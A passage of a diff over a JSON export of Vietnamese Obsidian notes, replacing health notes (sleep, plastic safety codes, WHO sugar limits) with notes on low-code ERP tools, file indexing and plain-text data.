để đảm bảo là nó sẽ theo đúng luồng làm việc, suy nghĩ của bạn, nhưng điều đó đòi hỏi bạn phải có kiến thức cũng như thời gian để lập trình. Điều này sẽ rất khó với người chưa từng lập trình bao giờ mà còn rất nhiều thứ khác phải làm. Nếu không ai code giùm cho thì Kendy thà chịu đau khổ chứ không thể nào tự học được, bởi vì [[Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn]]. Chưa kể, theo định luật Hofstadter: [[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]].\n\nCũng không phải là Kendy không muốn học để tự xây dựng hệ thống cho mình, mà là kiếm lòi mắt cũng không thấy được người thực sự muốn chia sẻ. Theo trải nghiệm của Kendy khi hỏi trên các diễn đàn của Odoo, thì người trả lời thực ra chỉ muốn báo giá chứ không thực sự muốn chỉ. Vì dù là mã nguồn mở thì họ cũng xác định tập khách hàng của mình là doanh nghiệp.\n\n### Chi phí thuê lập trình viên để tự xây dựng ERP là quá cao\n![[Thuê lập trình viên.png]]\nNếu thuê lập trình viên thì thực sự không có tiền để thuê, và nếu có tiền thì cũng rất lệ thuộc vào họ. Việc xây dựng hệ thống là việc sửa mỗi lần một chút. Kendy không có đủ tiền cho quá nhiều lần điều chỉnh lắt nhắt như vậy.\n\n## Hiện nay đã có nhiều phần mềm ERP low code. Liệu có giải quyết được vấn đề này?\nKhái niệm low code được sinh ra dành cho những phần mềm không phải code nhiều nhưng người dùng vẫn có thể tạo ra được sản phẩm của mình. Airtable, Google Sheet, Excel là những ví dụ của low code.\n\nFibery cũng là một sản phẩm low code. Nó *hứa hẹn* giải quyết được 2 vấn đề sau:\n- Một nơi vừa để quản lý công việc vừa quản lý kiến thức\n- Có thể xây dựng hệ thống quản lý cho mình ngay mà không cần dùng tới code trong thời gian đầu\n\nĐây là lý do Kendy đã chọn Fibery, vì những cái rất cần trước mắt thì nó có thể đáp ứng. \n\nĐối với những người làm lập trình, cái gọi là low code chỉ là bình mới rượu cũ mà thôi. Nó từng có những cái tên như WYSIWYG, UI, rồi giờ thì nó được gọi là low code. Nó không được lòng người làm kỹ thuật cho lắm.\n\n[Một người bình luận](https://discord.com/channels/686053708261228577/700466324840775831/1072284305893638214):\n> Chúng được sinh ra chỉ để cho mục đích tiếp thị và khiến những người quản lý không có hiểu biết về kỹ thuật ra những quyết định tồi. \n\n[Một người khác](https://softwareengineering.stackexchange.com/questions/320227/what-is-low-code/320228#comment679977_320228):\n> Theo kinh nghiệm của tôi, những công cụ này được mấy người dùng doanh nghiệp dùng cho đến khi họ tự dồn mình vào chân tường. Rồi sau đó lập trình viên được gọi đến để gỡ một mớ rác lỗi hỗn độn khổng lồ đầy những phức tạp không cần thiết.\n\nThật ra, việc đánh đổi giữa sự đơn giản (simplicity) và khả năng xử lý những yêu cầu phức tạp (complexity) là một trong [[Việc lập trình ít trực giác hơn nhưng lại có nhiều đánh đổi hơn các ngành khác]]. Nhưng thứ [[Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế|Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên sự tiện lợi và chi phí thấp cho người dùng, mà vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế]]. Mà [[Chấp nhận giải pháp mì ăn liền là đang mang nợ vào người]].\n\nPhải nói là điểm bán hàng độc nhất (unique selling point) của Fibery là sự đặt trọng tâm vào ý tưởng [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]] mà những ERP khác không làm được. Ngay tại trang chủ, Fibery đã tự giới thiệu bản thân là:\n> If you've outgrown Jira, Notion, Airtable, and ClickUp — and are ready to replace them\n\nTức là nó hiểu rất rõ nhược điểm của đối thủ. Nhưng rốt cuộc thì **nó vẫn là một sản phẩm dựng sẵn** không khác gì các đối thủ của nó. Việc Kendy sử dụng nó là vì từ đầu Kendy đã ở trong tình trạng phải xây dựng hệ thống quản lý càng sớm càng tốt, và không có ai có thể hỗ trợ giải đáp các vấn đề về lập trình. Không thể nói nó là giải pháp tạm đủ, mà nó là sự thoả hiệp đỡ tệ hại nhất trong hoàn cảnh hiện tại. Con đường này là con đường bất đắc dĩ lắm mới phải đi. \n\nXem thêm:: [[Nhược điểm của Obsidian và Fibery]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SN" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "Sb" }, { - "Tiêu đề": "Dùng điện thoại trên giường gây rối loạn giấc ngủ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Dùng điện thoại trên giường gây rối loạn giấc ngủ", + "Tiêu đề": "Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất]] \r\n[[Điện thoại làm tăng sự lo lắng]]\r\nThe feeling of disconnected. No phone.\r\n", + "Toàn bộ nội dung": "[Johnny.Decimal](https://johnnydecimal.com/) là một cách để sắp xếp file và folder một cách hiệu quả. Ban đầu mình cũng chỉ thấy hay nhưng chưa tính áp dụng, vì cũng đinh ninh là cách sắp xếp của mình gọn gàng logic. Cũng đúng là vậy thật, nhưng sau này mình mới thấy điểm mạnh của phương pháp nằm ở việc giúp bạn **search** hơn là để giúp bạn **navigate.** Nhưng nó chỉ hữu hiệu cho việc quản lý tài liệu của một dự án, chứ cho việc quản lý kiến thức thì lại thấy không hữu hiệu bằng.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SO" + "Ngày cập nhật": "2024-09-02T08:21:00.000Z", + "id": "Sc" }, { - "Tiêu đề": "Email làm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Email làm", + "Tiêu đề": "Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Việc phân loại thư mục chỉ cần theo đúng thư mục đó, không nhất thiết phải tạo thành một cây thống nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-13T13:28:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SP" + "Ngày tạo": "2024-09-01T10:03:00.000Z", + "Ngày cập nhật": "2024-09-02T08:21:00.000Z", + "id": "Sd" }, { - "Tiêu đề": "Không nên dùng chai nước nhiều lần", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Không nên dùng chai nước nhiều lần", + "Tiêu đề": "Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Dữ liệu dưới dạng văn bản là dạng dữ liệu phi cấu trúc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Có bao giờ bạn quan sát ký hiệu các loại nhựa được in ở phía đáy sản phẩm nhựa chưa? Có bao giờ bạn thắc mắc loại nhựa này có an toàn cho sức khỏe không? Ở bài viết này, Thuận Thiên Plastic sẽ chia sẻ cụ thể về tất cả các loại nhựa phổ biến trên thị trường và các ký hiệu liên quan để dễ dàng nhận biết từ đây có cách sử dụng sao cho đúng. \r\n\r\n## Phân biệt ký hiệu các loại nhựa thông dụng \r\n\r\nNgười Việt Nam hay có thói quen tích trữ thực phẩm bằng hộp nhựa mà ít quan tâm hoặc không để ý các ký hiệu của sản phẩm nhựa. Chỉ cần một chút lưu tâm là bạn biết được hộp nhựa có độc hại không, có ảnh hưởng tới sức khỏe không. \r\n\r\nDưới đáy của sản phẩm nhựa thường có ký hiệu tam giác, và bên trong chứa một con số tương ứng. Ký hiệu này được gọi là mã nhận diện nhựa được Tổ chức Tiêu Chuẩn Quốc Tế ASTM ban hành, tương ứng với các con số từ 1 đến 7. Xét theo độ an toàn, nhựa được chia thành 2 loại nhựa an toàn và nhựa không an toàn. \r\n\r\n![7 loại nhựa](https://thuanthienplastic.com/wp-content/uploads/2022/04/tong-quan.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 1\")\r\n\r\n_Những loại nhựa tuân thủ tiêu chuẩn FDA – Hoa Kỳ_\r\n\r\n### Nhựa số 1 – Nhựa PET (PETE)\r\n\r\n[**Nhựa PET**](https://thuanthienplastic.com/nhua-pet-la-gi/) (Polyethylene terephthalate) (số 1 – hay còn được gọi với tên nhựa số 1) thường được dùng để đựng thực phẩm dạng lỏng như nước trái cây, nước ngọt, nước khoáng, các loại nước chấm… Loại nhựa này chỉ nên sử dụng 1 lần duy nhất, không nên tái chế sử dụng nhiều lần, cũng như không được dùng đựng thực phẩm nóng hoặc ở nhiệt độ cao… gây nguy hại cho sức khỏe người dùng.\r\n\r\n![chai nhựa pet và ký hiệu](https://thuanthienplastic.com/wp-content/uploads/2022/04/pet-va-ky-hieu.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 2\")\r\n\r\n_chai nhựa pet và ký hiệu_\r\n\r\n### Nhựa số 2 – Nhựa HDP hay HDPE \r\n\r\n[**Nhựa HDPE**](https://thuanthienplastic.com/nhua-hdpe-la-gi/) thường được sản xuất các loại chai nhựa đựng sữa, nước suối, nước trái cây, thuốc tẩy hay dầu gội đầu… Ngoài ra loại nhựa này còn được sử dụng để chế tạo túi nhựa, vật liệu cách nhiệt hay ống nhựa… Trên thế giới, nhựa HDP (số 2 – ký hiệu các loại nhựa) rất phổ biến, sử dụng rộng rãi là nhờ vào đặc tính độ dẻo, bền chắc và khả năng chống ẩm rất tốt. \r\n\r\nXét theo độ an toàn, nhựa HDPE được nằm trong danh sách nhựa tốt nhất vì khả năng chịu được nhiệt độ 110 độ C. Đồng thời có thể cho sản phẩm làm từ nhựa này vào lò vi sóng có công suất thấp. Tuy nhiên, một điểm bất cập của nhựa HDPE là khó làm sạch, do đó khi tái sử dụng cần lưu ý kẻo các chất còn sót lại dễ trở thành ổ vi khuẩn gây hại cho sức khỏe người dùng. \r\n\r\n![sản phẩm từ nhựa HDPE an toàn cho người dùng](https://thuanthienplastic.com/wp-content/uploads/2022/04/hdpe.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 3\")\r\n\r\n_sản phẩm từ nhựa HDPE an toàn cho người dùng_\r\n\r\n### Nhựa số 3 – Nhựa PVC \r\n\r\nMặc dù được sử dụng rộng rãi nhưng loại [**nhựa PVC**](https://thuanthienplastic.com/nhua-pvc-la-gi-tinh-chat-va-ung-dung/) (nhựa polyvinyl chloride) số 3 – ký hiệu các loại nhựa nằm trong danh sách nhựa độc hại, chẳng qua là nhờ vào ưu điểm có tính chất dẻo dai, bền, trong suốt và chi phí sản xuất rẻ. Trong sản xuất nhựa PVC có các chất phụ gia độc hại như BPA, phthalates, chì, dioxins, thuỷ ngân và cadmium. Đáng chú ý nhất là Bisphenol A (BPA, loại chất này có thể gây ra ung thư hoặc thay đổi hormone giới tính ở người, đặc biệt khi đốt cháy.\r\n\r\nỞ nhiệt độ thì nhựa PVC có khả năng thẩm thấu và hòa tan vào thức ăn, gây nguy hại cho sức khỏe con người, vì vậy cần lưu ý một số điều như sau:\r\n\r\nKhông mua đồ chơi cho bé bằng nhựa PVC, để ngăn ngừa và tránh bé ngậm vào miệng rất có hại cho sức khỏe.\r\n\r\nHạn chế dùng màng bọc thực phẩm, rất là khi thực phẩm còn nóng. Tuyệt đối không được dùng màng bọc thực phẩm rồi cho vào lò vi sóng để làm nóng thức ăn, điều này cực kỳ nguy hiểm đến sức khỏe. \r\n\r\n![Màng pvc bọc thực phẩm và ký hiệu](https://thuanthienplastic.com/wp-content/uploads/2022/04/mang-pvc.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 4\")\r\n\r\n_Màng pvc bọc thực phẩm và ký hiệu_\r\n\r\n### Nhựa số 4 – Nhựa LDPE \r\n\r\n[**LDPE**](https://thuanthienplastic.com/nhua-ldpe-la-gi/) thuộc họ nhựa Polyethylenes, so với HDPE lại có mật độ thấp hơn, nhưng bản chất loại nhựa này vẫn có đặc tính cơ bản như dẻo, dai và chống ẩm tốt. So với nhựa số 2 thì nhựa LDPE dễ gãy, vỡ, trầy xước và có khả năng chịu được va đập vật lý kém hơn. Bản chất có tính trơ hóa học nên nhựa LDPE thường được chế tạo và sản xuất các loại chai lọ mỹ phẩm, dầu gội, hóa chất, chuyên đựng hóa chất, túi nilon, túi đựng hàng và vỏ bánh… \r\n\r\nLưu ý: Nhựa LDPE tránh nhiệt độ cao, không được dùng trong lò vi sóng, vì rất gây nguy hại cho sức khỏe con người. \r\n\r\n![sản phẩm nhựa ldpe](https://thuanthienplastic.com/wp-content/uploads/2022/04/ldpe.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 5\")\r\n\r\n_sản phẩm nhựa ldpe_\r\n\r\n### Nhựa số 5 – Nhựa PP\r\n\r\n[**Nhựa PP**](https://thuanthienplastic.com/nhua-pp-la-gi/) số 5 được nằm trong danh sách loại nhựa an toàn, chịu được nhiệt độ cao (ít nhất là 130 độ C) và an toàn khi đặt trong lò vi sóng trong thời gian ngắn, khoảng độ 2-3 phút. PP – ký hiệu các loại nhựa được ứng dụng rộng rãi trong việc sản xuất hộp đựng thực phẩm, nhất là loại có khả năng dùng trong lò vi sóng hay cốc đựng sữa, siro hoặc cà phê. Đặc điểm trơ hóa học nên PP được các chuyên gia khuyên sử dụng vì chúng có độ bền cơ học và độ bền nhiệt độ cao, được đánh giá an toàn cho sức khỏe.\r\n\r\n![hộp nhựa pp đựng thực phẩm](https://thuanthienplastic.com/wp-content/uploads/2022/04/hop-nhua-pp-dung-thuc-pham.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 6\")\r\n\r\n_hộp nhựa pp đựng thực phẩm – có ký hiệu nhựa số 5 dưới đáy_\r\n\r\n### Nhựa số 6 – Nhựa PS \r\n\r\nSố 6 – ký hiệu các loại nhựa thường được nhìn thấy trên các hộp đựng thức ăn nhanh, hộp đựng thực phẩm để đi dã ngoại. Mặc dù có khả năng chịu được nhiệt và lạnh đáng kể nhưng ở nhiệt độ cao như đặt trong lò vi sóng thì khả năng phóng ra chất độc hại. Ngoài ra, loại nhựa số 6 không được đựng đồ có chứa chất kiềm mạnh, chất acid mạnh.. do đó không được phép đựng thực phẩm trong một thời gian dài.\r\n\r\n![ps](https://thuanthienplastic.com/wp-content/uploads/2022/04/ps.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 7\")\r\n\r\n_ký hiệu nhựa ps trên sản phẩm_\r\n\r\n_Tìm hiểu chi tiết hơn: [Nhựa PS là gì](https://thuanthienplastic.com/nhua-ps-la-gi/)_\r\n\r\n### Nhựa số 7 – Nhựa PC hoặc không có ký hiệu \r\n\r\nNhựa số 7 là loại nhựa hoặc hỗn hợp nhựa không thuộc các dạng trên, nhưng nhựa PC này không được sử dụng dưới dạng tái chế. Bởi bản chất của loại nhựa số 7 chứa BPA, một hợp chất hóa học gây nguy hại, có thể dẫn tới vô sinh, ung thư hay tiểu đường. \r\n\r\nSở dĩ chúng được sử dụng để sản xuất bình đựng nước, các thùng chuyên đựng hóa chất vì giá thành rẻ. Nhựa số 7 – ký hiệu các loại nhựa phổ biến, nằm trong danh sách nhựa không an toàn cho sức khỏe, độc hại nhất là khi đựng thực phẩm nóng. \r\n\r\n![ống đèn led pc](https://thuanthienplastic.com/wp-content/uploads/2022/04/pc.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 8\")\r\n\r\n_ống đèn led pc và ký hiệu_\r\n\r\n## Các loại nhựa khác \r\n\r\nNgoài 7 ký hiệu các loại nhựa phổ biến được liệt kê ở trên còn có một một loại nhựa khác, có tên là Tritan.  Mặc dù dưới đáy vẫn ký hiệu đánh số 7 nhưng trên thân bình có ghi dòng chữ “BPA Free Tritan” (không chứa BPA) là loại nhựa tự nhiên, có độ trong suốt như thủy tinh, đặc biệt thuộc tính của Tritan khi rơi khó vỡ nên thường được dùng để làm bình đựng nước thể thao. \r\n\r\n## Các loại nhựa an toàn\r\n\r\nSau khi đã tìm hiểu kỹ 7 ký hiệu các loại nhựa phổ biến cũng như các loại nhựa khác, đến đây sẽ liệt kê các loại nhựa an toàn để bạn yên tâm sử dụng, đó là:\r\n\r\n- Nhựa số 1 là [PET](https://thuanthienplastic.com/nhua-pet-la-gi/) (Polyethylene Terephthalate)\r\n- Nhựa số 2 là [HDPE](https://thuanthienplastic.com/nhua-hdpe-la-gi/) (High-Density Polyethylene)\r\n- Nhựa số 4 là [LDPE](https://thuanthienplastic.com/nhua-ldpe-la-gi/) (Low-Density Polyethylene)\r\n- Nhựa số 5 là [PP](https://thuanthienplastic.com/nhua-pp-la-gi/) (Polypropylene)\r\n\r\n![loại nhựa an toàn bạn nên sử dụng và nên tránh](https://thuanthienplastic.com/wp-content/uploads/2022/04/loai-nhua-nao-an-toan.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 9\")\r\n\r\n_loại nhựa an toàn bạn nên sử dụng và nên tránh – ảnh internet_\r\n\r\nTuyệt đối không nên sử dụng các loại nhựa có các ký hiệu đánh số 3, 6, 7 vì chứa chất hóa học nguy hiểm. Đồng thời những loại nhựa yêu cầu chỉ sử dụng 1 lần không nên tái chế, vì dễ làm phá vỡ cấu trúc của nhựa và giải phóng một số chất hóa học nguy hiểm.\r\n\r\nTrên đây là các thông tin chia sẻ về ký hiệu các loại nhựa phổ biến giúp cho bạn hiểu hơn về sản phẩm được chế tác từ nhựa. Qua bài viết này bạn có thể chọn được các sản phẩm nhựa tốt, an toàn cho sức khỏe cho mọi thành viên của gia đình.\r\n\r\nNguồn:: [Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe](https://thuanthienplastic.com/phan-biet-ky-hieu-cac-loai-nhua/)\r\n", + "Toàn bộ nội dung": "Dữ liệu như kiểu Wikipedia thì đường link rối lung tung. Chính vì như vậy, nên việc lưu [[Dữ liệu dưới dạng văn bản phù hợp cho việc quản lý kiến thức]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SQ" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "Se" }, { - "Tiêu đề": "Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất", + "Tiêu đề": "Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Muốn quản lý phiên bản một cách hiệu quả thì phải dùng văn bản thuần", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SR" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "Sf" }, { - "Tiêu đề": "Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày", + "Tiêu đề": "Tệp là thứ mà nhiều chương trình khác nhau đều đọc được", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Tệp là thứ mà nhiều chương trình khác nhau đều đọc được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Tổ chức Y tế thế giới (WHO) kêu gọi mọi người đừng hảo ngọt nữa: lượng đường tiêu thụ mỗi ngày chỉ nên dưới 10% mức đóng góp calo trong khẩu phần. \r\n \r\nMức sử dụng mà WHO thực sự mong muốn là thấp hơn 5%, nghĩa là chỉ nên dùng không quá 25g đường/ngày. \r\n \r\nWHO nói thẳng rằng, họ có bằng chứng rất cứng, hảo ngọt trên 10% là dính dáng tới lên cân, béo phì và sâu răng. \r\n \r\n# Chưa bị lộ mới nguy hiểm \r\n \r\nMỗi ngày trung bình cần khoảng 2.000 calo từ thực phẩm.10% là 200 calo.Mỗi gram đường cung cấp 4 calo. Như vậy mỗi ngày chỉ nên ăn dưới 50g đường (200/4), WHO nói thế. \r\n \r\nMột muỗng cà phê đường, hay một gói đường nho nhỏ để uống cà phê chừng 4g (ở Việt Nam gói nhỏ này 6g). Nhằm nhò gì! 50g đường là 12 muỗng rưỡi chứ đâu phải ít… Coi vậy chứ không phải vậy. Một lon nước ngọt có gas (330ml) chứa 36g đường, một lon nước tăng lực nhỏ (250ml) chứa 30g đường. Uống chơi chơi một lon, coi như gần hết quota. \r\n \r\nThứ đường mà WHO đề cập không chỉ là đường cát, đường phèn, đường thốt nốt (\\*), mà là đủ thứ đường: đường mạch nha (đường maltose), mật ong (gồm chủ yếu đường glucose và fructose), xi rô… thậm chí nước cốt trái cây ép cô đặc (fruit juice concentrate) như chanh dây, dâu tằm, táo, cam… cũng tính luôn. Mấy chai nước cốt này thường tự hào trên nhãn là không dùng chất bảo quản (No preservative), nhưng chứa đường đâu kém gì mứt thì vi khuẩn nào mà sống nổi. Các loại nước ngọt có gas thường dùng đường xi rô bắp, cao fructose (HFCS), loại đường này thì WHO còn ghét thậm tệ. \r\n \r\nChỉ có đường trong rau quả, trái cây tươi, sữa thì WHO không tính tới vì không có bằng chứng, mặc dù trong mấy thứ này đều có đường glucose, fructose, hoặc lactose. \r\n \r\nNhững thứ ngọt bị lộ (liễu) như chè, nước ngọt có gas, nước sinh tố, bánh bông lan… không đáng ngại lắm vì biết rõ hàng kiêng kỵ thì né. Điều e ngại là những thứ ngọt chưa bị lộ (hidden sugar), một muỗng tương cà có tới 4g đường, rồi BBQ, sườn nướng, sườn xào chua ngọt, mắm nêm, mắm ruốc, mắm kho quẹt… chưng lên là phải thêm đường. Mặn và ngọt mà trộn với nhau thì mới thấy quota 50g đường/ngày là mức nghiệt ngã. \r\n \r\n# WHO còn tiếp tục nghiệt nữa \r\n \r\nWHO nhấn mạnh là họ có bằng chứng rất “cứng” (solid evidence) rằng, xài trên 50g đường/ngày là dễ bị tăng cân, béo phì và sâu răng, so với những người dùng dưới mức này. Đó là chưa kể bằng chứng “từ trời rơi xuống”. Số là, trước thế chiến 2, mức xài đường bình quân mỗi năm là 15kg/người. Trong chiến tranh do thiếu lương thực nên xài ít lại, và sau kết thúc cuộc chiến, một năm (1946), mức tiêu thụ đường chỉ còn 0,2kg/người. Trong khoảng thời gian “kiêng ngọt” miễn cưỡng đó, tỷ lệ sâu răng giảm đi thấy rõ. \r\n \r\nTheo số liệu của STINFO (Tạp chí Thông tin khoa học công nghệ), thì mức tiêu thụ đường mỗi năm ở Việt Nam là 15kg/người, khoảng 41g đường/ngày. Đó chỉ là mới tính đường ăn, chưa kể các loại đường khác, và cũng chỉ tính xa cạ, nông thôn thành thị, từ trẻ sơ sinh cho tới người già 90, chứ nếu tính riêng nhóm đô thị thì chắc vượt qua con số khuyến cáo 50g của WHO. Theo viện Dinh dưỡng, tỷ lệ trẻ em dưới năm tuổi bị béo phì là 5,6%, người lớn từ 50 – 60 tuổi, cũng chiếm tỷ lệ đó, và con số này còn tiếp tục tăng. Thực ra, WHO đã đưa ra khuyến cáo giảm ngọt ở mức 10% hay 50g đường/ngày từ năm 1989. Sau khi thu thập thêm bằng chứng và thảo luận, đầu năm 2015 mới chính thức khuyến cáo mạnh mẽ để chính phủ các nước đưa ra chính sách thích hợp. Những biện pháp bao gồm, yêu cầu ghi lượng đường trên nhãn sản phẩm để người dùng lựa chọn, hạn chế marketing các sản phẩm có nhiều đường, và thảo luận với các nhà chế biến thực phẩm trong nước nhằm hạ mức sử dụng đường hiện nay. \r\n \r\nMức đường sử dụng mà WHO thực sự mong muốn là thấp hơn 5%, nghĩa là chỉ nên dùng không quá 25g đường/ngày. Hạn chế sử dụng đường là một phần của kế hoạch hành động toàn cầu của WHO, nhằm chặn đứng đà gia tăng bệnh tiểu đường và béo phì, và đến năm 2025, giảm khoảng 25% chết yểu do các bệnh không truyền nhiễm (NCDs – Non communicable diseases) như các bệnh tim mạch, ung thư, hô hấp mãn tính… \r\n \r\nGiảm thịt (đỏ), giảm béo, giảm mặn, và bây giờ là giảm ngọt. Xem ra cái giá phải trả để sống lâu cũng không rẻ. \r\n \r\nNguồn:: Vũ Thế Thành, [Thôi đừng hảo ngọt nữa](http://thegioihoinhap.vn/song-khoe/an-toan-thuc-pham/vu-the-thanh-thoi-dung-hao-ngot-nua)\r\n", + "Toàn bộ nội dung": "Chính vì như vậy, nên [[File Google Docs không thực sự là file]]\n\nNguồn:: [Golems, smart objects, and the file metaphor (Interconnected)](https://interconnected.org/home/2021/02/01/golems)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SS" + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "Sg" }, { - "Tiêu đề": "Những lý do để khó duy trì việc ngủ sớm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Những lý do để khó duy trì việc ngủ sớm", + "Tiêu đề": "Văn bản thuần là dạng dữ liệu đơn giản nhất", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Văn bản thuần/Văn bản thuần là dạng dữ liệu đơn giản nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Việc lên giường lúc 22h và thức dậy lúc 5h có rất nhiều lợi ích: thêm nhiều ánh sáng hơn. Ngoài ra \n- Easy to drift, hard to revert\n\nBecause you need 1 hour more staying awake in bed\n\n# Những lý do khó duy trì việc ngủ lúc 22h\n- Đang có một câu chuyện dang dở cần phải nói tiếp, nhất là với bạn bè lâu năm\n- Bạn bè tụ tập\n- Thuật toán của youtube, netflix, instagram rất giỏi trong việc giới thiệu những sản phẩm truyền thông đủ sức cuốn hút hơn cả lợi ích của việc đi ngủ. Mà lúc nghỉ làm ra nghỉ chỉ muốn giải tri chút\n- Đi lòng vòng suy nghĩ\n- Relax after work, but only stop when knowing it's late. But after standing up, you just want to watch some tv…\n- Bên ngoài hát ồn ào\n- Trăng rằm\n\n## Liên quan đến công việc\n- [[Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)]]\n\t- Thèm làm thêm chút, có thể vì thấy nó nhỏ không đáng là bao, mà để hôm sau là quên luôn\n\t- Thấy áy náy khi ban ngày chẳng làm gì nhiều\n- Cảm thấy ráng làm xíu nữa cũng không quá trễ\n- Đang tập trung suy nghĩ mà bị cắt khỏi dòng suy nghĩ rất là nhức đầu\n- Tới hạn chót \n- Đã dừng làm việc trên máy sớm và ra ôm điện thoại để giải lao và chuyển pha. Nhưng sau một hồi chat thì đầu óc hồi phục và lại thấy hăng làm\n- Ráng làm để tiết kiệm thời gian lúc ngủ: code cho xong để máy chạy xuyên đêm, hoặc soạn bài trên Reddit, Stack Exchange để mai có câu trả lời, vì giờ đó bên Mỹ là buổi sáng\n\n[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]]\nThường chỉ dừng khi thấy mỏi lưng, đầu hết nghĩ được gì\n[[Bảng quan trọng – khẩn cấp]]\n[[Việc khai thác điểm yếu của con người đem lại lợi nhuận]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\n![Plain Text Data Formats: CSV, JSON, XML, HTML, 